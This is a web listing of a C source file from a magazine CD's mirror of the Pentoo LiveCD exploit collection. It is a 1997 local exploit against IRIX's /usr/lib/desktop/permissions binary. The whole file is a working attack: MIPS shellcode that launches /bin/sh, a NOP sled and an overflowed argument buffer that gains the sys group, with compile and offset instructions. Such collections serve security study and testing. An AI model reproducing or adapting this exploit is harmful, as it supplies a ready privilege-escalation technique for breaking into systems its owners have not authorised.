home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / irix / local / irix-perm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  110 lines

  1. /* /usr/lib/desktop/permissions exploit by DCRH 26/5/97
  2.  *
  3.  * This gives you egid = sys
  4.  *
  5.  * Tested on: R8000 Power Challenge (Irix64 6.2)
  6.  *
  7.  * Exploit doesn't work on Irix 5.x due to stack position
  8.  *
  9.  * compile as: cc -n32 perm.c
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <unistd.h>
  17.  
  18. #define NUM_ADDRESSES   400
  19. #define BUF_LENGTH      700
  20. #define EXTRA           500
  21. #define OFFSET          0x200
  22. #define GP_OFFSET       31612
  23. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  24.  
  25. #define u_long unsigned
  26.  
  27.  
  28. u_long get_sp_code[] = {
  29.     0x03a01025,         /* move $v0,$sp         */
  30.     0x03e00008,         /* jr $ra               */
  31.     0x00000000,         /* nop                  */
  32. };
  33.  
  34. u_long irix_shellcode[] = {
  35.     0x24041234,         /* li $4,0x1234         */
  36.     0x2084edcc,         /* sub $4,0x1234        */
  37.     0x0491fffe,         /* bgezal $4,pc-4       */
  38.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  39.     0x23e4012c,         /* addi $4,$31,264+36   */
  40.     0xa086feff,         /* sb $6,-264+7($4)     */
  41.     0x2084fef8,         /* sub $4,264           */
  42.     0x20850110,         /* addi $5,$4,264+8     */
  43.     0xaca4fef8,         /* sw $4,-264($5)       */
  44.     0xaca6fefc,         /* sw $4,-260($5)       */
  45.     0x20a5fef8,         /* sub $5, 264          */
  46.     0x240203f3,         /* li $v0,1011          */
  47.     0x03ffffcc,         /* syscall 0xfffff      */
  48.     0x2f62696e,         /* "/bin"               */
  49.     0x2f7368ff,         /* "/sh"                */
  50. };
  51.  
  52. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  53.  
  54. void main(int argc, char **argv)
  55. {
  56.     char *env[] = {NULL};
  57.     u_long targ_addr, stack, tmp;
  58.     u_long *long_p;
  59.     int i, code_length = strlen((char *)irix_shellcode)+1;
  60.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  61.  
  62.     stack = get_sp();
  63.  
  64.     if (stack & 0x80000000) {
  65.         printf("Recompile with the '-n32' option\n");
  66.         exit(1);
  67.     }
  68.  
  69.     long_p =(u_long *)  buf;
  70.     targ_addr = stack + OFFSET;
  71.  
  72.     if (argc > 1)
  73.         targ_addr += atoi(argv[1]) * 4;
  74.  
  75.     if (targ_addr + GP_OFFSET > 0x80000000) {
  76.         printf("Sorry - this exploit for Irix 6.x only\n");
  77.         exit(1);
  78.     }
  79.  
  80.     tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
  81.  
  82.     while ((tmp & 0xff000000) == 0 ||
  83.            (tmp & 0x00ff0000) == 0 ||
  84.            (tmp & 0x0000ff00) == 0 ||
  85.            (tmp & 0x000000ff) == 0)
  86.         tmp += 4;
  87.  
  88.     for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
  89.         *long_p++ = tmp;
  90.  
  91.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  92.         *long_p++ = IRIX_NOP;
  93.  
  94.     for (i = 0; i < code_length/sizeof(u_long); i++)
  95.         *long_p++ = irix_shellcode[i];
  96.  
  97.     tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
  98.  
  99.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  100.         *long_p++ = (tmp << 16) | (tmp >> 16);
  101.  
  102.     *long_p = 0;
  103.  
  104.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  105.  
  106.     execle("/usr/lib/desktop/permissions", "permissions",
  107.            "-display", getenv("DISPLAY"), "/bin/ls", buf, 0, env);
  108.     perror("execl failed");
  109. }
  110.